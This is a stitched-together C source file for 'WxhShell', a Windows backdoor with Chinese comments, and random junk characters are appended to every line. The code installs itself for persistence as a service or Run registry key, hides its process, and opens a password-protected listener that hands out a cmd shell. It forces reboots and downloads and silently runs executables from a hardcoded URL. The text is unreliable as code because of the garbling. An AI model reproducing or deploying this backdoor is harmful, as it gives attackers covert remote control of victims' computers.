    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ys+Dw-  
    else { c<y.Y0  
    closesocket(wsh); ~Rs|W;  
    ExitThread(0); >XSe  
    } \-#~)LB]M  
    break; ]BO{Q+?d2  
    } ( X)$8y  
  // 获取shell mE}``  
  case 's': { wI1[I  
    CmdShell(wsh); =c(_$|0  
    closesocket(wsh); 4CW/  
    ExitThread(0); QKwWX_3%Z]  
    break; J= ia  
  } H{\tQ->(2  
  // 退出 *O)_D bj  
  case 'x': { Y H 2i V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A AH-Dj|&l  
    CloseIt(wsh); LJc w->  
    break; K.*?\)&  
    } ed'}ReLK  
  // 离开 f0IljY!.  
  case 'q': { ga4 gH>4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 83412@&  
    closesocket(wsh); Mpk^e_9`<  
    WSACleanup(); wf=#w}f  
    exit(1); 6mep|![6  
    break; bhOyx  
        } oeDsJ6;  
  } r{YyKSL1*K  
  } SR*%-JbA  
vk5pnCM^3  
  // 提示信息 Ua5m2&U1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T!"<Kv]J  
} (|' w$  
  } xp)#a_}  
_-%ay  
  return; lE?e1mz{  
} c72Oy+#  
q-o=lU"  
// shell模块句柄 #_2V@F+,  
int CmdShell(SOCKET sock) $\81WsL '  
{ 1.p?P] .  
STARTUPINFO si; pvI(hjMYPk  
ZeroMemory(&si,sizeof(si)); SjtGU47$!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rb#Z'1D'G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {;n?c$r  
PROCESS_INFORMATION ProcessInfo; }E*d)n|  
char cmdline[]="cmd"; wju~5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,\+tvrR4X  
  return 0; Gxi;h=J2)>  
} JEdtj1v{O  
ii2oWU  
// 自身启动模式 \CUxGyu  
int StartFromService(void) fOE:~3Q  
{ pcur6:8W!  
typedef struct c*RZbE9k  
{ K[~Wj8W0  
  DWORD ExitStatus; o4w+)hh  
  DWORD PebBaseAddress; Qc[[@=S%  
  DWORD AffinityMask; Yo| H`m,  
  DWORD BasePriority; mH;Z_ME"  
  ULONG UniqueProcessId; u8+<uWB  
  ULONG InheritedFromUniqueProcessId; iUS379wM}  
}   PROCESS_BASIC_INFORMATION; E0xUEAO  
$rFv(Qc^=  
PROCNTQSIP NtQueryInformationProcess; 9'8OGCN  
.7ahz8v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u+I-!3J87  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {@Diig  
:]y;t/   
  HANDLE             hProcess; Se0/ysVB  
  PROCESS_BASIC_INFORMATION pbi; _\@i&3hkx  
d2.n^Q"?3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "{z9 L+  
  if(NULL == hInst ) return 0; `3pe\s  
j@GMZz<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m9#u. Q*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g+ 2SB5 2D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RVI],O  
:&?#~NFH  
  if (!NtQueryInformationProcess) return 0; D1o 8Wo  
?z:xQ*#X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 82O`<Ci  
  if(!hProcess) return 0; ~gI%   
w2+RX-6Ie  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gvoK  
<RGRvv  
  CloseHandle(hProcess); hXz"}X n  
9?,n+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F<V zVEx  
if(hProcess==NULL) return 0; }{K)5k@  
@'C)ss=kj  
HMODULE hMod; Z]w_2- -  
char procName[255]; cb'8Li8,j  
unsigned long cbNeeded; wTIf#y1=9  
-)y"EJ(N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;Jx ^  
OR?8F5o?p  
  CloseHandle(hProcess); c}QQ8'_  
*\S>dhJ4  
if(strstr(procName,"services")) return 1; // 以服务启动 {/Q pEd>3+  
?a}eRA7  
  return 0; // 注册表启动 xZ;';}&pj  
} X\1D[n:  
ngm7Vs  
// 主模块 B2845~\.  
int StartWxhshell(LPSTR lpCmdLine) |I OTW=>  
{ Rx`0VQ  
  SOCKET wsl; QO#ZQ~  
BOOL val=TRUE; rBr28_i   
  int port=0; Y Nq<%i!>  
  struct sockaddr_in door; &v 5yo}s  
y:2o-SJn  
  if(wscfg.ws_autoins) Install(); 5)T{iPU%X  
!Id F6 %  
port=atoi(lpCmdLine); cq[}>5*k  
"Ww^?"jQ)  
if(port<=0) port=wscfg.ws_port; cst=ms  
"K\Rq+si  
  WSADATA data; / /wmJ |  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (_nkscf  
TS UN(_XGW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !kV?h5@Bo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l" sR\`~  
  door.sin_family = AF_INET; }DZkCzK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E+~~d6nB  
  door.sin_port = htons(port); jWU)y)$  
?nt6vqaV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $mlsFBd  
closesocket(wsl); ^eZqsd8a  
return 1; jBE= Ij  
} DcOu =Y> 1  
OcSLRN?t  
  if(listen(wsl,2) == INVALID_SOCKET) { U{ahA  
closesocket(wsl); }:jXl!:V  
return 1; 7kJ,;30)  
} UI8M<  
  Wxhshell(wsl); uk\GAm@O  
  WSACleanup(); b%)a5H(  
C y& L,  
return 0; {ld([  
VFYJXR{  
} GbL,k? ey  
_@^msyoq  
// 以NT服务方式启动 jXW71$B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SR43#!99Q  
{ mS%D" e  
DWORD   status = 0; P}VD}lEyO  
  DWORD   specificError = 0xfffffff; ^ )+tn  
/ 5=A#G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~V./*CQ\c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .5I1wRN49  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a\%g_Q){  
  serviceStatus.dwWin32ExitCode     = 0; lT(MywNsg  
  serviceStatus.dwServiceSpecificExitCode = 0; Xt7uCs  
  serviceStatus.dwCheckPoint       = 0; D!@c,H  
  serviceStatus.dwWaitHint       = 0; ?ii a  
S8]g'!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 99ZQlX  
  if (hServiceStatusHandle==0) return; %*s[s0$c  
\}<nXn!  
status = GetLastError(); ]"YG7|EU  
  if (status!=NO_ERROR) i\t4TdEx(  
{ ,$*IJeKx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wiFckF/  
    serviceStatus.dwCheckPoint       = 0;  z!F?#L5  
    serviceStatus.dwWaitHint       = 0; t;4{l`dk  
    serviceStatus.dwWin32ExitCode     = status; |bBYJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZAiQofQ:2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]0O pd9  
    return; &j>`H:  
  } P"xP%zqo  
O^IpfS\/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z{%G  
  serviceStatus.dwCheckPoint       = 0; W}Z|v M$  
  serviceStatus.dwWaitHint       = 0; #cmj?y()  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5q8bM.k\7N  
} BGA.8qWR4  
\?GMtM,  
// 处理NT服务事件,比如:启动、停止 3-Ti'xM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .IYE"0)wJ  
{ '7E?|B0],  
switch(fdwControl) ^ 5UIbA(  
{ Qb SX'mx<  
case SERVICE_CONTROL_STOP: c5t?S@b  
  serviceStatus.dwWin32ExitCode = 0; "0]i4d1l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U9;AU] A  
  serviceStatus.dwCheckPoint   = 0; Uq[NO JC  
  serviceStatus.dwWaitHint     = 0; H>W A?4  
  { Gb MSO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zx\?cF  
  } YxsW Y7J  
  return; g@S"!9[;U  
case SERVICE_CONTROL_PAUSE: l9SbuT$U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hx:x5L>  
  break; \Mi y+<8$  
case SERVICE_CONTROL_CONTINUE: 9 s>JdAw?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XLzHm&;  
  break; IJs` 3?  
case SERVICE_CONTROL_INTERROGATE: 0_%u(?  
  break; BGUP-_&  
}; Dpof~o,f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Ji5)c  
} v'DL >Y  
O@EpRg1  
// 标准应用程序主函数 %*Y:Rm'>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NB>fr#pb  
{ )TP7gLv=b  
ymzlRs1^Ct  
// 获取操作系统版本 3g} ]nj:N  
OsIsNt=GetOsVer(); :PjHsNp;^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y=q\1~]Z  
)TV'eq  
  // 从命令行安装 6{1c S  
  if(strpbrk(lpCmdLine,"iI")) Install(); <G#JPt6  
eyUo67'7  
  // 下载执行文件 IF@)L>-%  
if(wscfg.ws_downexe) { vu1F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U*,5t81  
  WinExec(wscfg.ws_filenam,SW_HIDE); $%sOL( r  
} `F(KM '  
ZG<<6y*.  
if(!OsIsNt) { qf+I2 kyS  
// 如果时win9x,隐藏进程并且设置为注册表启动 ` 8.d  
HideProc(); mO]>(^c  
StartWxhshell(lpCmdLine); h*&-[nSo  
} lB3W|-Ci  
else LL.YkYu  
  if(StartFromService()) q(_pk&/  
  // 以服务方式启动 4WDh8U  
  StartServiceCtrlDispatcher(DispatchTable); nV GrW#'E  
else 3C2L _ K3  
  // 普通方式启动 *qGxQ?/  
  StartWxhshell(lpCmdLine); j@Z4(X L  
$\{@wL  
return 0; bf::bV?T  
} P b2exS(  
p]IF=~b  
i!jx jP  
|WlWZ8]  
=========================================== ^qYJx  
`0Qzu\gRb  
k6. }.  
pT.iQ J|  
gHA"O@HgDI  
"ifYy>d  
" leX&py  
*N<~"D  
#include <stdio.h> hb zU?_}  
#include <string.h> ;#cb%e3  
#include <windows.h> ZB<goEg  
#include <winsock2.h> A2g +m  
#include <winsvc.h> g!cTG-bh>J  
#include <urlmon.h> TDk'  
z4{ H=  
#pragma comment (lib, "Ws2_32.lib") M-"%4^8_  
#pragma comment (lib, "urlmon.lib") jBarYg  
Hj$JXo[U  
#define MAX_USER   100 // 最大客户端连接数 6:#zlKYJ  
#define BUF_SOCK   200 // sock buffer i4&"-ujrm  
#define KEY_BUFF   255 // 输入 buffer G2zfdgW${/  
F3i+t+Jt  
#define REBOOT     0   // 重启 Hq3"OMGq  
#define SHUTDOWN   1   // 关机 X^eTf-*T  
q:+,'&<D  
#define DEF_PORT   5000 // 监听端口 $62!R]C9\  
O}"VK  
#define REG_LEN     16   // 注册表键长度 pQ!NhzQ  
#define SVC_LEN     80   // NT服务名长度 (%YFcE)SRS  
M)#aX|%Mh  
// 从dll定义API a9`E&Q}z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v&D^N9hy9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tc.R(F96  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5ZSV)$t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8dNwi&4  
vzd1:'^t  
// wxhshell配置信息 $&I##od  
struct WSCFG { S{zi8Oc6  
  int ws_port;         // 监听端口 :4;ZO~eq!  
  char ws_passstr[REG_LEN]; // 口令 Cpz'6F^oP  
  int ws_autoins;       // 安装标记, 1=yes 0=no D({% FQ"  
  char ws_regname[REG_LEN]; // 注册表键名 }v"X.fa^  
  char ws_svcname[REG_LEN]; // 服务名 OV_Y`u7YR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C%9;~S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "FwbhD0Gb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JUt 7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7H %>\^A^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" # 4L[8(+V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yn)K1f^  
O=?WI  
}; J 6D?$  
L#1Y R}m  
// default Wxhshell configuration wKIQK!B)mF  
struct WSCFG wscfg={DEF_PORT, =c"`>Vi@d  
    "xuhuanlingzhe", '%vb&a!.6  
    1, 5IE2&V  
    "Wxhshell", tXV9+AJ  
    "Wxhshell", NiQ`,Q$B  
            "WxhShell Service", ?| s1Cuc  
    "Wrsky Windows CmdShell Service", [I^>ji0V  
    "Please Input Your Password: ", imv[xBA(d  
  1, l\I#^N  
  "http://www.wrsky.com/wxhshell.exe", `lX |yy"  
  "Wxhshell.exe" /GD4GWv :  
    }; yZj:Kp+7  
O KVIl  
// 消息定义模块 KuL2X@)}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^2rNty,nH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s`B]+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !`LaX!bmp  
char *msg_ws_ext="\n\rExit."; ~ODm?k  
char *msg_ws_end="\n\rQuit."; 1JM EniB+9  
char *msg_ws_boot="\n\rReboot..."; p%pM3<p  
char *msg_ws_poff="\n\rShutdown..."; 8D@H4O.  
char *msg_ws_down="\n\rSave to "; }RowAGWL  
Soy!)c]  
char *msg_ws_err="\n\rErr!"; }OZp[V  
char *msg_ws_ok="\n\rOK!"; 9~2}hXm;  
aVNBF`  
char ExeFile[MAX_PATH]; @KfFt R-;  
int nUser = 0; =ZR9zL=h  
HANDLE handles[MAX_USER]; =Yg36J4[  
int OsIsNt; ?5_~Kn%2  
`$vTGkGpY  
SERVICE_STATUS       serviceStatus; ~8L*N>Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; osPJ%I`^  
qpjtF'  
// 函数声明 r9McCebIW  
int Install(void); SAMP,un7  
int Uninstall(void); ;jS2bc:8a  
int DownloadFile(char *sURL, SOCKET wsh); FR&4i" +  
int Boot(int flag); YNyaz\L  
void HideProc(void); veIR)i@dx  
int GetOsVer(void); %xF j;U?  
int Wxhshell(SOCKET wsl); (&HAjB  
void TalkWithClient(void *cs); pLjet~2}iJ  
int CmdShell(SOCKET sock); ~47Bbom  
int StartFromService(void); v10p]=HmO  
int StartWxhshell(LPSTR lpCmdLine); _H@Y%"ZHJ6  
5N<f\W,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 78zjC6}`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (hWr!(>C4]  
\n$s5i-  
// 数据结构和表定义 5G"LuA  
SERVICE_TABLE_ENTRY DispatchTable[] = +RW P;rk  
{ HI)MBrj;r  
{wscfg.ws_svcname, NTServiceMain}, qDHiyg^u  
{NULL, NULL} 03$-U0.;-  
}; (7/fsfsF  
`B'*ln'r5  
// 自我安装 $8zsqd 4?  
int Install(void) G|MjKe4}  
{ ^K*uP^B=  
  char svExeFile[MAX_PATH]; BB@I|)9O(  
  HKEY key; .@KpN*`KH  
  strcpy(svExeFile,ExeFile); golr,+LSo  
{@, } M  
// 如果是win9x系统,修改注册表设为自启动 ^wNx5t  
if(!OsIsNt) { #2l6'gWE0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fb#.Gg9b>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *W aL}i(P1  
  RegCloseKey(key); GO0Spf_Gh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AT Dm$ *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U  ?'$E\  
  RegCloseKey(key); /)fx(u#  
  return 0; Rj6:.KEJ  
    } GPlAQk  
  } :?W {vV  
} *qdf?' R  
else { hd{Vz{;W  
?|!167/O  
// 如果是NT以上系统,安装为系统服务 ] AkHNgW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]4~- z3=y  
if (schSCManager!=0) W _j`'WN/  
{ Z)}q=NjA  
  SC_HANDLE schService = CreateService #!V [(/  
  ( =5=D)x~  
  schSCManager, uis;S)+  
  wscfg.ws_svcname, 'D#iT}Vu  
  wscfg.ws_svcdisp, eLE9-K+  
  SERVICE_ALL_ACCESS, *: )hoHp&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 94C)63V  
  SERVICE_AUTO_START, oEPO0O  
  SERVICE_ERROR_NORMAL, ^@f%A<  
  svExeFile, 0w^\sf%s  
  NULL, ZK,}3b{  
  NULL, M7z>ugk"  
  NULL, ]yu,YZ@7  
  NULL, L$zI_ z  
  NULL !#cZ!  
  ); KQ'fp:5|/@  
  if (schService!=0) jCdKau&9  
  { 3&i8C,u]/O  
  CloseServiceHandle(schService); kcT?<r  
  CloseServiceHandle(schSCManager); \%\b* OO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4 4%jz-m  
  strcat(svExeFile,wscfg.ws_svcname); k#"Pv"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5<Mht6"H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _\yrR.HIa  
  RegCloseKey(key); XgY( Vv  
  return 0; w6tb vhcmU  
    } jRIjFn|~{Y  
  } . 2_t/2  
  CloseServiceHandle(schSCManager);  /;LteBoY  
} 1o)Vzv  
} SR>Sq2cW0  
.gUceXWH3  
return 1; mtDRF'>P:  
} e  iS~*@  
x" 21 Jh  
// 自我卸载 ~/?JRL=  
int Uninstall(void)  |F5^mpU  
{ PRm Z 3  
  HKEY key; =uKGh`^[  
_i [.5  
if(!OsIsNt) { pAg;Rib  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *0bbSw1kc  
  RegDeleteValue(key,wscfg.ws_regname); w`XwW#!}@$  
  RegCloseKey(key); Yo0%5 noz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Cf%v`B4D  
  RegDeleteValue(key,wscfg.ws_regname); FI@2K M  
  RegCloseKey(key); 6S?a57;&W  
  return 0; ^Q8m) 0DP  
  } n =v4m_e  
} it!i'lG  
} %8iA0t+  
else { y$@d%U*rW^  
I\ V33Nd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Sd'Meebu  
if (schSCManager!=0) $IUP;  
{ }%k,PYe/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :@g@jcbYq`  
  if (schService!=0) #$V`%2>  
  { =QEg~sD^)s  
  if(DeleteService(schService)!=0) { i gzISYC_  
  CloseServiceHandle(schService); M52kau  
  CloseServiceHandle(schSCManager); YN 4P >d  
  return 0; 2c fzLW(  
  } ]7kq@o/7  
  CloseServiceHandle(schService); ;cZ9C 1  
  } jeb<qi>  
  CloseServiceHandle(schSCManager); F=   
} |E @Gsw  
} JA7HO |  
6 .DJR Y  
return 1; g-xbb&]  
} ;@K,>$ur-  
G[u_Uu=>  
// 从指定url下载文件 Q(m} Sr4  
int DownloadFile(char *sURL, SOCKET wsh) G 8|[.n  
{ AG) N^yd  
  HRESULT hr; [:$j<}UmB  
char seps[]= "/"; /b@0HL?  
char *token; >K#Z]k  
char *file; Jl3l\I'  
char myURL[MAX_PATH]; !7J;h{3Uw  
char myFILE[MAX_PATH]; Z91gAy^z<  
FM9b0qE  
strcpy(myURL,sURL); W#'c6Hq2c  
  token=strtok(myURL,seps); 7-Rn{"5  
  while(token!=NULL) RhyI\(Z2q  
  { qcke8Q  
    file=token; q p|T,D%  
  token=strtok(NULL,seps); ,G1|] ~  
  } q ,d]i/T  
xt +fu L  
GetCurrentDirectory(MAX_PATH,myFILE); i2b\` 805  
strcat(myFILE, "\\"); ;nj'C1  
strcat(myFILE, file); ~bT0gIc  
  send(wsh,myFILE,strlen(myFILE),0); hXS'*vO"  
send(wsh,"...",3,0); bf3LNV|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "n '*_rh>+  
  if(hr==S_OK) G/(oQA  
return 0; fT._Os?i  
else ,IuO;UV#)  
return 1; YkPz ~;  
Y'/`?CK  
} .^#{rk  
'N='B<^;%  
// 系统电源模块 eFXxkWR)  
int Boot(int flag) -a3+C,I8g  
{ fh$U"  
  HANDLE hToken; En6fmEn&;o  
  TOKEN_PRIVILEGES tkp; a[s%2>e  
3]'=s>UO>^  
  if(OsIsNt) { n i@D7:h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v)N6ZOj*C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i#lvt#2J0  
    tkp.PrivilegeCount = 1; w;H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; : ` F>B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eHv~?b5l  
if(flag==REBOOT) { KGi@H%NN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9 )B>|#\  
  return 0; EN.yU!N.4  
} lGG1d  
else { w,8 M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l@1f L%f  
  return 0; &:]_a?|*S  
} o)}b Fw  
  } 4)2*|w  
  else { Ms1\J2  
if(flag==REBOOT) { Fh v)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :;0?;dpO  
  return 0; Vu`dEv L?  
} /7S]%UY  
else {  +KFK..  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  aSHZR  
  return 0; ?0[%+AD hM  
} &[cL%pP  
} w])~m1yW  
[$[t.m  
return 1; ieBW 0eMi  
} >;xEzc!W3*  
rF~q"9  
// win9x进程隐藏模块 .U5+PQN  
void HideProc(void) Zz?+,-$_*&  
{ }WI24|`zM  
*B:{g>0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7M;Y#=sR  
  if ( hKernel != NULL ) 8x,;B_Zu  
  { 9U}EVpD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~w]1QHA'f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,eUMSg~P.7  
    FreeLibrary(hKernel); vo7 1T<K  
  } fil6w</L  
73}k[e7e  
return; <S$y=>.9  
} w5n>hz_5  
nj7Ri=lyS  
// 获取操作系统版本 Z/-%Eb]L1  
int GetOsVer(void) '2[ _U&e  
{ ^"buF\3L  
  OSVERSIONINFO winfo; Bl`e+&b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6w1:3~a  
  GetVersionEx(&winfo); #i2q}/w5`C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :L`z~/6  
  return 1; 2~J|x+  
  else {7/6~\'/@  
  return 0; KAsS= `  
} KMbBow3o*~  
GUN<ZOYb=  
// 客户端句柄模块 *"zE,Bp"  
int Wxhshell(SOCKET wsl) H50nR$$<*Y  
{ +Z;0"'K'e  
  SOCKET wsh; +'#d*r91@  
  struct sockaddr_in client; 3^ Z tIZ  
  DWORD myID; tQ&#FFt,)  
IwH ,g^0\  
  while(nUser<MAX_USER) Jb tbW &EH  
{ f4tia .  
  int nSize=sizeof(client); :cC`wX$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {Z?!*Ow  
  if(wsh==INVALID_SOCKET) return 1; z0Zl'  
,JZ@qmQ,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0]HK (,/h  
if(handles[nUser]==0) :sA-$*&x  
  closesocket(wsh); sg6cq_\  
else ,RT\&Ze5  
  nUser++; 5<a<!]|C  
  } IB;y8e,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hcf>J6ZLT  
g:,4Kd|  
  return 0; `7 B [<  
} J| DWT+$#Z  
"V:UQ<a\  
// 关闭 socket 54^hBejQ  
void CloseIt(SOCKET wsh) ,~4(td+R7  
{ dO8Z {wfs  
closesocket(wsh); fV5#k@,")  
nUser--; 15s?QSKj  
ExitThread(0); 1gm{.*G  
} V&}Z# 9Dx  
X@D3  
// 客户端请求句柄  E;|\?>  
void TalkWithClient(void *cs) 5 + Jy  
{ 9a4RW}S<  
;zJ_apZ:{  
  SOCKET wsh=(SOCKET)cs; %vThbP#mR|  
  char pwd[SVC_LEN]; ix/uV)]k`  
  char cmd[KEY_BUFF]; ftH 0aI  
char chr[1]; CNN?8/u!@  
int i,j; oNh .Zgg  
R1m18GHQ  
  while (nUser < MAX_USER) { ,}|V'y  
?<}qx`+%Q  
if(wscfg.ws_passstr) { .ZJh-cd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e| l?NXRX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2'}2r ~6  
  //ZeroMemory(pwd,KEY_BUFF); hs*:!&E  
      i=0; {Y/  
  while(i<SVC_LEN) { 02+^rqIx5  
LaIif_fie^  
  // 设置超时 ){(cRB$  
  fd_set FdRead; SMy&K[hJ[  
  struct timeval TimeOut; LpiLk| 2i  
  FD_ZERO(&FdRead); AP~!YwLW  
  FD_SET(wsh,&FdRead); a* D|$<V  
  TimeOut.tv_sec=8; \C6m.%%={R  
  TimeOut.tv_usec=0; (J;?eeP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 50Jr(OeU<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F3f>pK5  
Bh.'%[',  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'qD9k J`  
  pwd=chr[0]; He@= bLLa  
  if(chr[0]==0xd || chr[0]==0xa) { * K7L5.  
  pwd=0; (l^lS=x  
  break; :Oj+Tc9A  
  } l00D|W_ 9  
  i++; lGz0K5P{  
    } s1FBz)yCY=  
D|BN_ai9  
  // 如果是非法用户,关闭 socket />oU}m"k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A y`a>:p  
} <w A_2S Y  
0jS/U|0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7/yd@#$X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lu}[XN  
YsDl2P  
while(1) { {!S/8o"]  
.edZKmC6  
  ZeroMemory(cmd,KEY_BUFF); ;wF|.^_2  
=1(BKk>  
      // 自动支持客户端 telnet标准   $5o<Mj  
  j=0; /l`XJs  
  while(j<KEY_BUFF) { 5C&f-* Bh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |q>Mw-=  
  cmd[j]=chr[0]; r6)1Y`K=9  
  if(chr[0]==0xa || chr[0]==0xd) { 5 6R,+sN  
  cmd[j]=0; EpfmH `  
  break; S ] &->5"  
  } M}<=~/k`j  
  j++; +u2Co_FJ&  
    } ;n@C(hG  
h.^DRR^S  
  // 下载文件 mc=*wr$  
  if(strstr(cmd,"http://")) { E.3}a>f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rt|Hma  
  if(DownloadFile(cmd,wsh)) n\YxRs7 hF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `3KprpE8v  
  else r?TK@^z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }M9al@"  
  } >KPJ74R  
  else { 9|`@czw  
#j JcgR<  
    switch(cmd[0]) { MocH>^,  
